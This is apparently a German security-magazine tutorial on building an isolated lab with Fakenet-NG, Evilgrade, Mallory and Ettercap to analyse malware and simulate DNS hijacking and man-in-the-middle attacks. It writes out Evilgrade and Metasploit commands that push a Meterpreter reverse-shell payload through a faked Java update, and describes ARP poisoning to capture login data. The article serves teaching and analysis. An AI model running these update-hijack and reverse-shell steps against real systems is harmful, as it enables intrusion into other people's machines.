Ar_TH - stock.adobe.com

Malware-Analyse mit Fakenet-NG, Evilgrade und Mallory

Mit Fakenet-NG, Evilgrade und Mallory lassen sich komplexe Angriffe wie DNS-Hijacking und MITM in sicheren Testumgebungen simulieren, analysieren und gezielt nachvollziehen.

Um das Verhalten moderner Schadsoftware und komplexer Angriffstechniken zu verstehen und Angriffe zu analysieren, hilft eine dynamische Testumgebung. Genau hier entfaltet die kombinierte Nutzung von Fakenet-NG, Evilgrade und Mallory ihre Stärke.

Cyberattacken simulieren und in Testumgebungen analysieren

  • Fakenet-NG übernimmt die Rolle einer simulierten Netzwerkinfrastruktur. Sobald schadhafter Code im Testsystem ausgeführt wird, erzeugt das Tool passende Antworten auf Verbindungsversuche und täuscht so eine realistische Umgebung vor. Der Vorteil liegt in der vollständigen Kontrolle. Kein Datenpaket verlässt das interne Netz, dennoch lässt sich das Verhalten der Malware präzise beobachten.
  • Evilgrade greift gezielt Mechanismen an, die im Alltag oft übersehen werden. Viele Anwendungen laden regelmäßig Updates von festen Servern herunter. Werden diese Prozesse nicht ausreichend verifiziert, lassen sie sich unterbrechen und durch manipulierte Pakete ersetzen. Genau an diesem Punkt setzt Evilgrade an. Das Tool emuliert bekannte Update-Server und speist beliebige Inhalte ein, um Schwachstellen im Auto-Update-Prozess sichtbar zu machen. In Kombination mit Fakenet-NG lässt sich das komplette Angriffsszenario unter Laborbedingungen steuern und bewerten.
  • Mallory ergänzt die Umgebung als aktiver MITM-Proxy. Anders als klassische Sniffer erlaubt das Werkzeug eine tiefgreifende Veränderung des Datenverkehrs. Anfragen lassen sich modifizieren, Antworten fälschen, Sessions aufbrechen. Damit wird es möglich, auch komplexe Protokolle gezielt zu stören oder zu analysieren. Mallory ist dabei Protokoll-unabhängig und unterstützt sowohl Klartext- als auch verschlüsselte Verbindungen, letzteres mit optionaler SSL-Interception.

Die Kombination dieser drei Tools ermöglicht realitätsnahe Szenarien in abgeschotteten Umgebungen und bringt Erkenntnisse, die mit rein passiven Methoden oft verborgen bleiben. Vor allem in der Schulung und Forschung bietet der modulare Aufbau Vorteile. Jede Komponente kann separat oder im Verbund genutzt werden, je nach Fragestellung und Zielsetzung.

Fakennet-NG-Umgebung aufbauen

Auf der Seite des Projektes wird die Installation von Fakenet-NG detailliert beschrieben. Das Tool baut auf Python auf und lässt sich direkt installieren, oder direkt starten. Dazu wird zum Beispiel fakenet.exe verwendet. Fakenet simuliert DNS, HTTP, HTTPS, FTP, SMTP und weitere Protokolle. DNS-Anfragen erhalten die lokale IP-Adresse als Antwort. Beispiel: Eine Malware, die per XOR verschlüsselte Domains nutzt, stellt HTTP-Anfragen an diese Ziele. Fakenet fängt den Traffic ab, zeigt die Klartext-Ziele im Terminal und erstellt automatisch eine PCAP-Datei im Programmverzeichnis. Dieses kann in Wireshark geöffnet und analysiert werden. Die wichtigsten Punkte:

  • PCAP-Datei wird beim Beenden mit CTRL+C erzeugt
  • Standardantworten reichen aus, um Host-Namen und Traffic zu erkennen
  • Beispielhafte Zieladressen im Test: evilcode.com, dsu.edu, nsa.gov
  • Rückbau der Netzwerkkonfiguration erfolgt automatisch nach Beenden

In einem konkreten Anwendungsbeispiel ruft eine selbstgebaute Sample-Binary mehrere per XOR verschlüsselte Domains auf. Diese tauchen bei statischer Analyse nicht im Klartext auf. Sobald der Code ausgeführt wird, entschlüsselt das Sample die Domains zur Laufzeit, stellt HTTP-Requests an diese Adressen und verwendet „Mozilla/4.0“ als User-Agent. Ohne Fakenet wären diese Verbindungen blockiert, durch das simulierte Netzwerk aber erscheinen sie vollständig im Terminal und im später erzeugten PCAP:

Received DNS request for evilcode.com

Responded with 127.0.0.1

Received HTTP GET request for http://evilcode.com/

Sobald Fakenet per CTRL+C beendet wird, erzeugt es im aktuellen Verzeichnis automatisch ein PCAP-File. Dieses lässt sich in Wireshark laden:

wireshark faket.pcap

Dort helfen folgende Filter bei der Analyse:

dns

http

tcp.stream eq 1

Die simulierten Antworten von Fakenet ermöglichen es, auch bei komplexeren Mustern wie direkten IP-Verbindungen oder verschlüsselten Sessions (zum Beispiel SSL) die Struktur des Angriffs zu erkennen. Es kann sogar sein, dass das Sample versucht, über Raw-Sockets zu kommunizieren, auch dann greift Fakenet ein und zeigt das Verhalten. Neben dem üblichen HTTP- oder DNS-Traffic werden auch Protokolle wie FTP oder SMTP emuliert, ideal, wenn ein Dropper etwa über Port 25 Spam-Funktionalität integriert.

Praktische Tipps:

  • Nutzen Sie config/fakenet.default.yaml, um eigene DNS-Antworten oder HTTP-Responses zu definieren.
  • Um Systemrauschen zu minimieren, Dienste wie Windows Defender, automatische Updates und Netzwerkdiagnose in der VM deaktivieren.
  • Bei der Analyse von Samples mit TLS-Verkehr können Zertifikate in der Konfiguration angepasst werden, um eigene Inhalte als Antwort einzuschleusen.
  • Bei Malware, die API-Bibliotheken wie InternetOpenUrl() nutzt, lassen sich die Rückgabewerte und Zieladressen direkt über die Konsolenausgabe nachvollziehen.

Durch den kombinierten Einsatz mit Evilgrade oder Mallory lässt sich der Datenverkehr zusätzlich manipulieren. So können gezielt schadhafte Antworten zurückgespielt werden, um zu testen, wie der Schadcode auf manipulierte Updates oder Proxy-Umleitungen reagiert.

Manipulierte Updates gezielt ausnutzen mit Evilgrade

Evilgrade eignet sich für Tests, bei denen Software-Updates als Angriffsvektor inszeniert werden sollen. Das Tool injiziert manipulierte Payloads in Update-Prozesse und greift dabei gezielt auf Schwächen in der Validierung von Signaturen oder Transportpfaden zurück.

Evilgrade lässt sich mit Fakenet-NG kombinieren
Abbildung 1: Evilgrade lässt sich mit Fakenet-NG kombinieren, zum Beispiel über Kali-Linux.

Die Installation erfolgt direkt aus den Repositories von Kali Linux:

apt update

apt install isr-evilgrade

Nach der Installation wird das Framework über die Kommandozeile gestartet:

evilgrade

Im interaktiven Interface lässt sich mit show modules die Liste verfügbarer Exploits anzeigen. Jedes Modul zielt auf eine konkrete Software ab – etwa Java, Winamp, OpenOffice, Notepad++ oder iTunes. Sobald ein Modul gewählt wurde, kann über configure der Payload-Typ gesetzt und die Remote-Adresse angepasst werden. Beispiel für den Java-Updater:

configure java

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.56.1

set lport 4444

start

Parallel wird auf dem Angreifer-System ein Listener gestartet, etwa mit Metasploit:

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.56.1

set lport 4444

run

Der Angriff funktioniert in Verbindung mit DNS-Spoofing, etwa per Ettercap oder DNSchef. Sobald das Zielsystem den Updater aufruft, wird statt des echten Servers Evilgrade angesprochen und liefert den manipulierten Inhalt aus. In Kombination mit Fakenet-NG lässt sich dieser Ablauf vollständig in einer Testumgebung nachstellen, ohne echte Server zu kontaktieren. Evilgrade simuliert die Response-Logik des Original-Update-Mechanismus und koppelt sie mit einer frei wählbaren Payload.

Anpassen eines Evilgrade-Moduls in Kali-Linux.
Abbildung 2: Anpassen eines Evilgrade-Moduls in Kali-Linux.

Typisches Szenario: Ein veraltetes Java auf einem isolierten Windows-System startet den Updater. Evilgrade übernimmt die Kommunikation und injiziert eine Meterpreter-Sitzung. Die Folge: vollständige Kontrolle über das Zielsystem, ohne Nutzerinteraktion. Genau solche Szenarien lassen sich in Schulungen, Red-Teaming-Übungen oder Exploit-Tests präzise durchspielen und analysieren.

Verkehr manipulieren und untersuchen mit Mallory

Mallory fungiert als aktiver Proxy, der HTTP- und HTTPS-Verbindungen transparent analysiert, verändert oder blockiert. Ideal für Szenarien, in denen Schadsoftware auf legitime Webdienste zugreift, lässt sich Mallory zwischen Ziel und vermeintlichem C2-Server schalten. Die Installation auf Kali erfolgt zum Beispiel mit Go:

go install github.com/justmao945/mallory/cmd/mallory@latest

Ist go auf dem System nicht vorhanden, erkennt das Kali und zeigt die Befehle für die Installation von go an.

Nach dem ersten Start legt Mallory automatisch eine Konfigurationsdatei an, alternativ lässt sie sich direkt definieren:

{

  "id_rsa": "/root/.ssh/id_rsa",

  "local_smart": ":1315",

  "local_normal": ":1316",

  "remote": "ssh://[email protected]:22",

  "blocked": ["malicious.example.com", "update.fakeapp.com"]

}

Der Start erfolgt über:

mallory -config /pfad/zur/mallory.json

Die „smart“-Schnittstelle erkennt automatisch, welche Domains über den Remote-SSH-Tunnel geleitet werden sollen. Domains außerhalb der Blocked-Liste werden direkt weitergeleitet, alles andere läuft vollständig über den SSH-Proxy. Mallory eignet sich dadurch nicht nur für klassische Man-in-the-Middle-Angriffe, sondern auch zur gezielten Filterung und Überwachung von Datenströmen, inklusive SSL-Interception, falls eigene Zertifikate eingebunden werden.

In Verbindung mit Fakenet-NG und Evilgrade entsteht ein vollständiger Angriffs- und Analysepfad: Fakenet zeigt das Verbindungsverhalten, Evilgrade liefert kontrollierte Payloads aus, und Mallory analysiert den HTTP- oder HTTPS-Verkehr in Echtzeit, verändert ihn bei Bedarf oder blockiert Inhalte gezielt. Besonders hilfreich ist das bei Schadcode, der dynamisch neue Payloads oder Anweisungen über verschlüsselte Kanäle nachlädt – diese lassen sich durch Mallory sichtbar machen und untersuchen, ohne das Zielsystem direkt zu kompromittieren.

ARP-Spoofing mit Ettercap als flexible Proxy-Alternative

Wer keinen reinen Proxy einsetzen will, kann mit Ettercap unter Kali Linux eine klassische Man-in-the-Middle-Position über ARP-Spoofing einnehmen. Ettercap ist vorinstalliert und lässt sich direkt über das grafische Interface starten. Nach Eingabe des Root-Passworts wird das Netzwerkinterface ausgewählt, anschließend erfolgt ein Scan des Subnetzes. Alle aktiven Geräte inklusive Gateway erscheinen im Scanergebnis. Durch gezieltes Hinzufügen von Ziel-IP (zum Beispiel der Analyse-VM) und Gateway wird der Verkehr zwischen beiden Punkten über das eigene System umgeleitet.

Ettercap
Abbildung 3: Ettercap kann auch parallel oder als Alternative zu Mallory genutzt werden.

Die Aktivierung der ARP-Poisoning-Funktion bringt Ettercap in die Vermittlerposition. Ab diesem Moment laufen alle Pakete zwischen Zielsystem und Router über das Angriffssystem. In Kombination mit Wireshark kann der gesamte Verkehr live mitgeschnitten werden. Dabei lassen sich HTTP-Anfragen analysieren, DNS-Hijacking-Szenarien vorbereiten oder Inhalte wie Login-Daten sichtbar machen. Besonders interessant ist Ettercap, wenn in der Testumgebung echte IPs vergeben sind oder bei Legacy-Systemen, die keine Zertifikatsvalidierung durchführen – etwa bei unverschlüsseltem HTTP-Update-Verkehr oder alten IoT-Firmwares.

Ettercap bietet dadurch eine einfache, aber wirkungsvolle Möglichkeit, Traffic umzuleiten und zu analysieren, ohne Proxy-Strukturen aufbauen zu müssen. Im Vergleich zu Mallory fehlt zwar die gezielte Filterlogik und das SSH-Tunneling, dafür eignet sich Ettercap ideal für schnelle Tests in Layer-2-Netzen und verdeckte Beobachtung ohne aufwendige Konfiguration.

Erfahren Sie mehr über Netzwerksicherheit